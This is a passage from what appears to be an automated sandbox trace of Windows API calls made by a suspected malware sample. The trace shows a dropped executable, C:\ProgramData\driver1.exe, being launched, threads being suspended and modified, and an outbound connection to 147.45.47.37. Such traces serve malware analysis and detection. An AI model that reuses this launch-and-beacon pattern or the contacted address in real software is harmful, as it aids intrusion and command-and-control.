lpPreviousValue=0x0) returned 1 [0284.818] CreateProcessW (in: lpApplicationName="C:\\ProgramData\\driver1.exe", lpCommandLine="C:\\ProgramData\\driver1.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80400, lpEnvironment=0xc0006a6000, lpCurrentDirectory=0x0, lpStartupInfo=0xc00067ba70*(cb=0x70, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x358, hStdOutput=0x368, hStdError=0x364), lpProcessInformation=0xc00067b950 | out: lpCommandLine="C:\\ProgramData\\driver1.exe", lpProcessInformation=0xc00067b950*(hProcess=0x370, hThread=0x36c, dwProcessId=0x10d0, dwThreadId=0x1634)) returned 1 [0285.136] CloseHandle (hObject=0x36c) returned 1 [0285.136] DeleteProcThreadAttributeList (in: lpAttributeList=0xc0002820f0 | out: lpAttributeList=0xc0002820f0) [0285.136] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x364, hTargetProcessHandle=0x0, lpTargetHandle=0x0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x1 | out: lpTargetHandle=0x0) returned 1 [0285.136] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x368, hTargetProcessHandle=0x0, lpTargetHandle=0x0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x1 | out: lpTargetHandle=0x0) returned 1 [0285.136] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x358, hTargetProcessHandle=0x0, lpTargetHandle=0x0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x1 | out: lpTargetHandle=0x0) returned 1 [0285.136] CloseHandle (hObject=0x31c) returned 1 [0285.136] CloseHandle (hObject=0x1dc) returned 1 [0285.136] CloseHandle (hObject=0x360) returned 1 [0285.136] WaitForSingleObject (hHandle=0x370, dwMilliseconds=0xffffffff) returned 0x0 [0310.884] GetExitCodeProcess (in: hProcess=0x370, lpExitCode=0xc00067bcb4 | out: lpExitCode=0xc00067bcb4*=0x0) returned 1 [0310.885] GetProcessTimes (in: hProcess=0x370, lpCreationTime=0xc000997180, lpExitTime=0xc000997188, lpKernelTime=0xc000997190, lpUserTime=0xc000997198 | out: lpCreationTime=0xc000997180, lpExitTime=0xc000997188, lpKernelTime=0xc000997190, lpUserTime=0xc000997198) returned 1 [0310.885] CloseHandle (hObject=0x370) returned 1 [0310.886] PostQueuedCompletionStatus (CompletionPort=0x170, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x0) returned 1 [0310.886] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xffffffff) Thread: id = 13 os_tid = 0x12ec [0172.114] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x4b5bfd78, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x4b5bfd78*=0x11c) returned 1 [0172.114] GetCurrentThreadId () returned 0x12ec [0172.114] CreateWaitableTimerExW (lpTimerAttributes=0x0, lpTimerName=0x0, dwFlags=0x2, dwDesiredAccess=0x100003) returned 0x120 [0172.114] VirtualQuery (in: lpAddress=0x4b5bfd98, lpBuffer=0x4b5bfd98, dwLength=0x30 | out: lpBuffer=0x4b5bfd98*(BaseAddress=0x4b5bf000, AllocationBase=0x4b3c0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0172.114] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x124 [0172.114] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x128 [0172.114] WaitForSingleObject (hHandle=0x124, dwMilliseconds=0xffffffff) returned 0x0 [0172.292] WaitForSingleObject (hHandle=0x124, dwMilliseconds=0xffffffff) returned 0x0 [0172.348] WaitForSingleObject (hHandle=0x124, dwMilliseconds=0xffffffff) returned 0x0 [0172.372] WaitForSingleObject (hHandle=0x124, dwMilliseconds=0xffffffff) returned 0x0 [0175.098] WaitForSingleObject (hHandle=0x124, dwMilliseconds=0xffffffff) returned 0x0 [0175.174] WaitForSingleObject (hHandle=0x124, dwMilliseconds=0xffffffff) returned 0x0 [0175.180] WaitForSingleObject (hHandle=0x124, dwMilliseconds=0xffffffff) returned 0x0 [0175.182] WaitForSingleObject (hHandle=0x124, dwMilliseconds=0xffffffff) returned 0x0 [0175.577] SetEvent (hEvent=0x104) returned 1 [0175.581] WaitForSingleObject (hHandle=0x124, dwMilliseconds=0xffffffff) returned 0x0 [0175.610] WaitForSingleObject (hHandle=0x124, dwMilliseconds=0xffffffff) returned 0x0 [0175.617] SetEvent (hEvent=0x114) returned 1 [0175.617] WaitForMultipleObjects (nCount=0x2, lpHandles=0x4b5bfcc8*=0x124, bWaitAll=0, dwMilliseconds=0x1) returned 0x102 [0175.671] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x4b5bf818, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x4b5bf818*=0x170) returned 1 [0175.671] SuspendThread (hThread=0x170) returned 0x0 [0175.671] GetThreadContext (in: hThread=0x170, lpContext=0x4b5bf830 | out: lpContext=0x4b5bf830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000414a40, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe383aa, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0175.685] ResumeThread (hThread=0x170) returned 0x1 [0175.685] CloseHandle (hObject=0x170) returned 1 [0175.685] WaitForMultipleObjects (nCount=0x2, lpHandles=0x4b5bfcc8*=0x124, bWaitAll=0, dwMilliseconds=0x1) returned 0x102 [0175.732] WaitForMultipleObjects (nCount=0x2, lpHandles=0x4b5bfcc8*=0x124, bWaitAll=0, dwMilliseconds=0x1) returned 0x102 [0176.143] WaitForSingleObject (hHandle=0x124, dwMilliseconds=0xffffffff) returned 0x0 [0176.143] WaitForMultipleObjects (nCount=0x2, lpHandles=0x4b5bfcc8*=0x124, bWaitAll=0, dwMilliseconds=0x1) returned 0x102 [0176.199] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x4b5bf818, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x4b5bf818*=0x170) returned 1 [0176.199] SuspendThread (hThread=0x170) returned 0x0 [0176.199] GetThreadContext (in: hThread=0x170, lpContext=0x4b5bf830 | out: lpContext=0x4b5bf830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000414ae0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1ce7ffa, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0176.204] SetEvent (hEvent=0x174) returned 1 [0176.205] SetThreadContext (hThread=0x170, lpContext=0x4b5bf830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000414ad8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0176.208] ResumeThread (hThread=0x170) returned 0x1 [0176.208] CloseHandle (hObject=0x170) returned 1 [0176.208] WaitForMultipleObjects (nCount=0x2, lpHandles=0x4b5bfcc8*=0x124, bWaitAll=0, dwMilliseconds=0x1) returned 0x0 [0176.210] WaitForMultipleObjects (nCount=0x2, lpHandles=0x4b5bfcd8*=0x124, bWaitAll=0, dwMilliseconds=0x1) returned 0x102 [0176.222] WaitForMultipleObjects (nCount=0x2, lpHandles=0x4b5bfcd8*=0x124, bWaitAll=0, dwMilliseconds=0x1) returned 0x0 [0176.222] SetEvent (hEvent=0x174) returned 1 [0176.222] SetEvent (hEvent=0x114) returned 1 [0176.222] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0x4cec0000 [0176.229] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0x4cf00000 [0176.233] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0x4cf40000 [0176.234] WaitForMultipleObjects (nCount=0x2, lpHandles=0x4b5bfcd8*=0x124, bWaitAll=0, dwMilliseconds=0x1) returned 0x102 [0176.836] WaitForSingleObject (hHandle=0x124, dwMilliseconds=0xffffffff) returned 0x0 [0176.837] WaitForSingleObject (hHandle=0x124, dwMilliseconds=0xffffffff) returned 0x0 [0181.040] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xe94da0, lpParameter=0xc0002ad000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a4 [0181.041] CloseHandle (hObject=0x1a4) returned 1 [0181.049] WaitForSingleObject (hHandle=0x124, dwMilliseconds=0xffffffff) returned 0x0 [0181.090] SetEvent (hEvent=0x114) returned 1 [0181.090] SwitchToThread () returned 1 [0181.124] WaitForSingleObject (hHandle=0x124, dwMilliseconds=0xffffffff) returned 0x0 [0181.223] VirtualAlloc (lpAddress=0xc000808000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000808000 [0181.223] VirtualAlloc (lpAddress=0xc00080a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00080a000 [0181.223] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xe94da0, lpParameter=0xc00007b000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x184 [0181.224] CloseHandle (hObject=0x184) returned 1 [0181.224] SetEvent (hEvent=0xec) returned 1 [0181.224] WaitForSingleObject (hHandle=0x124, dwMilliseconds=0xffffffff) returned 0x0 [0283.970] WaitForSingleObject (hHandle=0x124, dwMilliseconds=0xffffffff) returned 0x0 [0284.160] WaitForSingleObject (hHandle=0x124, dwMilliseconds=0xffffffff) returned 0x0 [0284.238] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4b5bf470, ulCount=0x10, ulNumEntriesRemoved=0x4b5bf440, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x4b5bf470, ulNumEntriesRemoved=0x4b5bf440) returned 0 [0284.238] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4b5bf470, ulCount=0x10, ulNumEntriesRemoved=0x4b5bf440, dwMilliseconds=0x1550, fAlertable=0 | out: lpCompletionPortEntries=0x4b5bf470, ulNumEntriesRemoved=0x4b5bf440) returned 1 [0284.806] SetEvent (hEvent=0x1ac) returned 1 [0284.808] WSASocketW (af=2, type=1, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x81) returned 0x35c [0284.810] CreateIoCompletionPort (FileHandle=0x35c, ExistingCompletionPort=0x170, CompletionKey=0x4d435128, NumberOfConcurrentThreads=0x0) returned 0x170 [0284.810] SetFileCompletionNotificationModes (FileHandle=0x35c, Flags=0x3) returned 1 [0284.810] bind (s=0x35c, addr=0xc00099712c*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0 [0284.810] ConnectEx (in: s=0x35c, name=0xc00099710c*(sa_family=2, sin_port=0x5a5, sin_addr="147.45.47.37"), namelen=16, lpSendBuffer=0x0, dwSendDataLength=0x0, lpdwBytesSent=0x0, lpOverlapped=0xc000049268 | out: lpdwBytesSent=0x0) returned 0 [0284.811] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4b5bf468, ulCount=0x10, ulNumEntriesRemoved=0x4b5bf438, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x4b5bf468, ulNumEntriesRemoved=0x4b5bf438) returned 0 [0284.811] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4b5bf468, ulCount=0x10, ulNumEntriesRemoved=0x4b5bf438, dwMilliseconds=0x131d, fAlertable=0 | out: lpCompletionPortEntries=0x4b5bf468, ulNumEntriesRemoved=0x4b5bf438) returned 1 [0285.126] WSAGetOverlappedResult (in: s=0x35c, lpOverlapped=0xc000049268, lpcbTransfer=0x4b5bf434, fWait=0, lpdwFlags=0x4b5bf440 | out: lpcbTransfer=0x4b5bf434, lpdwFlags=0x4b5bf440) returned 1 [0285.126] setsockopt (s=0x35c, level=65535, optname=28688, optval="\\\x03", optlen=8) returned 0 [0285.126] SetEvent (hEvent=0x1ac) returned 1 [0285.126] getsockname (in: s=0x35c, name=0xc00065507c, namelen=0xc000655078 | out: name=0xc00065507c*(sa_family=2, sin_port=0xc28c, sin_addr="192.168.0.30"), namelen=0xc000655078) returned 0 [0285.126] getpeername (in: s=0x35c, name=0xc00065507c, namelen=0xc000655078 | out: name=0xc00065507c*(sa_family=2, sin_port=0x5a5, sin_addr="147.45.47.37"), namelen=0xc000655078) returned 0 [0285.127] setsockopt (s=0x35c, level=6, optname=1, optval="\x01", optlen=4) returned 0 [0285.127] setsockopt (s=0x35c, level=65535, optname=8, optval="\x01", optlen=4) returned 0 [0285.127] 